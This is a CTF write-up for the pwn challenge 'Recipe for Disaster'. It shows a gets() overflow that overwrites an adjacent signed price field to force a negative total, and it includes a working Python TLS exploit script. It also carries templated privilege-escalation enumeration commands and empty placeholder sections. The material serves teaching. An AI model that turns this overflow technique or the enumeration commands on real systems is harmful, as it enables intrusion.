← Back to Writeups
HTBN/APwn

Recipe for Disaster

XESXOR8/23/20265 min read
#pwn#htb#n/a

Recipe for Disaster

Platform: GPN CTF | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-30 | Status: Solved Techniques: gets_exploitation, intra_struct_field_overwrite, little_endian_overwrite, signed_integer_underflow, tls_socket_pwn

Summary

Task: x86-64 food-ordering pwn binary uses gets() to read a chef note into a fixed 32-byte struct field that is directly followed by int price. Solution: overflow note by 4 bytes to set the item's own price to 0x80000000 (-2147483648), making the running total negative, which passes the verify_total(total < 0) gate and triggers print_coupon() leaking /flag. Service is TLS-wrapped, connected via Python ssl socket.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf | ID: 20240530_gpnctf_recipe_for_disaster
  • Tags: buffer_overflow, gets, tls, pwn, struct_overwrite, integer_sign
  • Indicators: gets(cur->note) unbounded write into 32-byte field, char note[32] immediately followed by int price in struct, verify_total checks total < 0 to print flag, service served over TLS (ncat --ssl, port 443)
  • Source: 20240530_gpnctf_recipe_for_disaster.md

Foothold

Vulnerability / Misconfiguration

  1. Gets_exploitation
  2. Intra_struct_field_overwrite
  3. Little_endian_overwrite
  4. Signed_integer_underflow
  5. Tls_socket_pwn
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • gets_exploitation
  • intra_struct_field_overwrite
  • little_endian_overwrite
  • signed_integer_underflow
  • tls_socket_pwn
  • Tags: buffer_overflow, gets, tls, pwn, struct_overwrite, integer_sign

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Are you hungry? If so, I have this awesome food ordering app for you. I only ask you not to break it.

A food-ordering CLI app. Source challenge.c and a dynamically-linked, non-stripped x86-64 ELF (challenge) with debug info are provided. The remote service is served over TLS and reached with ncat --ssl <host> 443. Goal: trigger the flag-printing path.

Analysis

The relevant struct and logic from challenge.c:

typedef struct {
  char item[32];   // offset 0
  char note[32];   // offset 32
  int  price;      // offset 64
} Item;

void verify_total(int total) {
  if (total < 0) {                    // <-- win condition
    puts("[SYSTEM] Pricing error detected! ...");
    print_coupon();                   // opens and prints /flag
    exit(0);
  }
  ...
}

void take_order(void) {
  Item order[10];
  ...
  strncpy(cur->item, MENU[choice-1].name, sizeof(cur->item)-1);
  cur->price = MENU[choice-1].price;
  printf("Any note for the chef? ...\n> ");
  gets(cur->note);                    // VULN: unbounded write into note[32]
  ...
  int total = calculate_total(order, n_items);
  verify_total(total);                // total += each item's price
}

Key observations:

  1. Win path. verify_total(total) calls print_coupon() (which reads and prints /flag) only when total < 0. total is a signed int, the sum of each ordered item's price.
  2. The bug. gets(cur->note) is an unbounded write into the 32-byte note field. This is the classic gets() overflow — but here it does NOT need to reach the saved return address.
  3. Struct adjacency. Inside the same Item, int price sits immediately after char note[32] (struct offset 64). Writing 32 bytes to fill note plus 4 more bytes overwrites this item's own price — an intra-struct field overwrite, not a stack-smash.
  4. Sign trick. price is a signed int. Setting it to 0x80000000 makes it -2147483648. With a single item, the running total becomes negative, satisfying total < 0.
  5. Theme / red herring. The source comment about an intern worrying "the sum might overflow" and menu items named after CTF vuln classes are flavor: the real primitive is the field overwrite, and we make the total negative directly rather than via summation overflow. gets reads until newline, so embedded NUL bytes in 0x80000000 are fine.

So: order one item, give a 36-byte note that fills note[32] and overwrites price with little-endian 0x80000000, finish the order. No ROP, no canary leak, no stack pivot.

Solution

Steps against the menu-driven program:

  1. Order item 1 → send 1.
  2. For the note, send b"A"*32 + b"\x00\x00\x00\x80" — 32 bytes fill note, the next 4 bytes land on price (little-endian 0x80000000 = -2147483648).
  3. Finish ordering → send 0.
  4. Receipt prints TOTAL $-2147483648, then [SYSTEM] Pricing error detected!, then print_coupon() leaks /flag.

The service is TLS-wrapped, so we wrap a raw socket with Python's ssl (no pwntools needed). The standard alternative is pwntools remote(host, 443, ssl=True) or ncat --ssl host 443.

#!/usr/bin/env python3
import ssl, socket

HOST = "<remote host>"
PORT = 443

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)


def recv_until(token: bytes, timeout: float = 5.0) -> bytes:
    s.settimeout(timeout)
    buf = b""
    try:
        while token not in buf:
            chunk = s.recv(4096)
            if not chunk:
                break
            buf += chunk
    except socket.timeout:
        pass
    return buf


# 1) order item 1
recv_until(b">")
s.sendall(b"1\n")

# 2) note overflow: 32 bytes fill note[32], next 4 bytes set price = 0x80000000 = -2147483648
recv_until(b">")
s.sendall(b"A" * 32 + b"\x00\x00\x00\x80" + b"\n")

# 3) finish ordering -> TOTAL goes negative -> verify_total(total < 0) -> print_coupon() -> /flag
recv_until(b">")
s.sendall(b"0\n")

print(recv_until(b"GPNCTF{").decode(errors="replace"))
print(s.recv(4096).decode(errors="replace"))

Running it yields the receipt with TOTAL $-2147483648, the pricing-error message, and the flag.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR